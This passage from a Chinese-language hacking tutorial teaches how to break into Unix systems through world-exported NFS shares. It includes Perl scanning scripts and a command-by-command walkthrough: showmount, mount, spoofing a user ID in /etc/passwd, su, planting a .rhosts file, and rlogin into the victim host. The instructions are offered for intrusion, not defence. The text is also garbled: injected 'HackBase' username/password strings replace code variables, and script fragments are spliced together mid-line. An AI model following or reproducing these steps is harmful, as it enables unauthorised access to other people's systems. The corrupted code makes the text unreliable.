     close(INFILE);
     foreach (sort(keys(%hash))) {
     print "?用户名:@HackBase.net密?码:
     \n";
     }
     sub usage {
     print("\n\ngetdomain:\n");
     print("Usage: getdomain [inputfile] [search]\n\n");
     print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or \'net\'.\n\n");
     exit(0);
     }
     0;
     ---- cut here - end of script -----
     要使用上述脚本,你只需把上面几行copy下来命名为getdomain.pl,拷贝到unix系统中,运行: chmod x getdomain.pl
     即可.
     这时就可运行上面所讲的命令行了.
     --------------------------------------------------------------------------------
     使用Mount得到unix系统访问权限
     这并不难而且网络上有很多系统是mountable(可共享的)的.Mount是一个unix命令允许你在远程机器驱动器安装系统.这样一来,你既可从其他机器进行安装过程也可仅仅共享网络中的磁盘和目录.问题在于许多管理员过于精通unix命令和设置.或者是太懒惰而把磁盘设置为全局属性,却不明白全局mount(连接或共享)该磁盘,别人就能获得对他们的用户目录的写权限.
     开始,你需要一个hack过的root帐号.为了能mount(连接或共享)远程磁盘并获取权限,你要修改系统的password文档并使用SU命令.
     OK,假设我们已有root权限,让我们开始!
     可用shownmount命令显示另一系统是否有mountable的磁盘.
     在root帐号下:
     $root> showmount -e wwa.com
     ount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive
     噢,这个域名不成功,OK,没问题,找下一个:
     $root> showmount -e seva.net
     Export list for seva.net:
     /var/mail pluto.seva.net
     /home/user1 pluto.seva.net
     /usr/local pluto.seva.net,rover.seva.net
     /export/X11R6.3 rover.seva.net
     /export/rover rover.seva.net,pluto.seva.net
     /export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone)
      
     注意上面的“everyone”,如果我们想从这家伙里安装linux 的话会很好.但我们是想打开用户的目录...所以继续下一个:
     $root> showmount -e XXXXX.XXX ) {
     chomp(?用户名:@HackBase.net密?码:
     );
     print "Now checking:?用户名:@HackBase.net密?码:
     ";
     # Note difference in program output capture from "geturl.pl".
     open (EXECFILE, "$program?用户名:@HackBase.net密?码:
     |");
     @execResult = ;
     next if (!defined($execResult[0]));
     if ($execResult[0] =~ /^Export/) {
     print " - Export list saved.";
     open (OUTFILE, ">?用户名:@HackBase.net密?码:
     .export");
     foreach (@execResult) {
     print OUTFILE;
     }
     close (OUTFILE);
     }
     close(EXECFILE);
     print "\n";
     }
     # We are done. Close all files and end the program.
     close (DOMAINFILE);
     0;
     ----------------- end of cmount.pl
     OK,现在开始mounting(连接)磁盘.
     假设我们运行showmount -e domain.com 并返回:
     Export list for domain.com:
     / (everyone)
     /p1 (everyone)
     /p2 (everyone)
     /p3 (everyone)
     /p5 (everyone)
     /p6 (everyone)
     /p7 (everyone)
     /var/spool/mail titan,europa,galifrey
     /tmp (everyone)
     我们想连接(mount) / 目录..哟呵…这家伙把整个系统都共享(mountable)了
     $root> mkdir /tmp/mount
     root> mount -nt nfs domain.com:/ /tmp/mount
     如果他把home目录设为共享(mountable)的话,命令为:
     $root> mount -nt nfs domain.com:/home /tmp/mount
     要umount系统的话,确信退出目录然后:
     $root> umount /tmp/mount
      
     先必须确定你已创建了共享(mount)目录(你可在系统任何地方创建).如果系统的/mnt目录是空的,你也可用它.
     OK,下面动真格了:
     bash# ls -al /mnt ; 确定/mnt是空的
     ls: /mnt: No such file or directory ; 不存在这样的文件或目录 ;)
     bash# mkdir /mnt ; 让我们为他建一个(/mnt目录)
     bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ; 开始 mount 这小家伙 ...
     bash# cd /mnt ; 进入mounted的目录.
     bash# ls ; 简单的dir ..
     TT_DB home raddb share
     back local radius-961029.gz www
     exec lost found radius-961029.ps
     bash# ; the home dir就在那了 ... oh 很好...
     bash# cd home
     bash# ls -l ; 列长目录... 这儿tom 看起来不错 ;)
     total 18
     drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry
     drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke
     drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens
     drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg
     drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin
     drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk
     drwxr-xr-x 6 news news 512 Mar 6 1996 news
     drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert
     drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk
     drwxr-xr-x 2 302 other 512 Mar 1 10:10 tom
     drwxr-xr-x 5 601 daemon 512 Jan 26 1996 viewx
     drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www
     bash# ; 注意到tom 是 302号使用者 ... hmmm 把他放进我们的passwd 文档中.
     bash# pico /etc/passwd
     tom:x:302:2::/home:/bin/bash ; 搞定 ;)
     bash# su - tom ; su 到 tom 帐号 ...
     bash$ ls -l
     total 18
     drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry
     drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke
     drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens
     drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg
     drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin
     drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk
     drwxr-xr-x 6 news news 512 Mar 6 1996 news
     drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert
     drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk
     drwxr-xr-x 2 tom other 512 Mar 1 10:10 tom
     drwxr-xr-x 5 601 daemon 512 Jan 26 1996 view
     drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www
     bash$ ; 注意上面,toms 的用户号没有了... 现在我们拥有了他的目录!
     bash$ echo >>tom/.rhosts ; 在tom的目录里建一个名为 .rhosts 的文档
     (bash$ ;在.rhosts中加入 号,每个人都能用rlogin到他的帐户。)
     bash$ rlogin xxxxx.xxx 在我们的机器上我们是tom了 , 因此rlogin 上平台.
     Last login: Fri Mar 7 00:16:03 from xxxxx.xxxxxxxxxx
     Sun Microsystems Inc. SunOS 5.5 Generic November 1995
     > 雅皮士们 ,我们进去了!
     > ls -al
     total 8
     drwxr-xr-x 2 tom group 512 Mar 1 17:10 .
     drwxr-xr-x 14 tom group 512 Jan 24 11:16 ..
     -rw-r--r-- 1 tom group 144 Dec 30 15:32 .profile
     -rw-r--r-- 1 tom bin 8 Mar 11 08:26 .rhosts
     >
     现在我们有了访问权限了,可以开始hack这个系统了.哦,这该是下一课了,先轻松一下吧。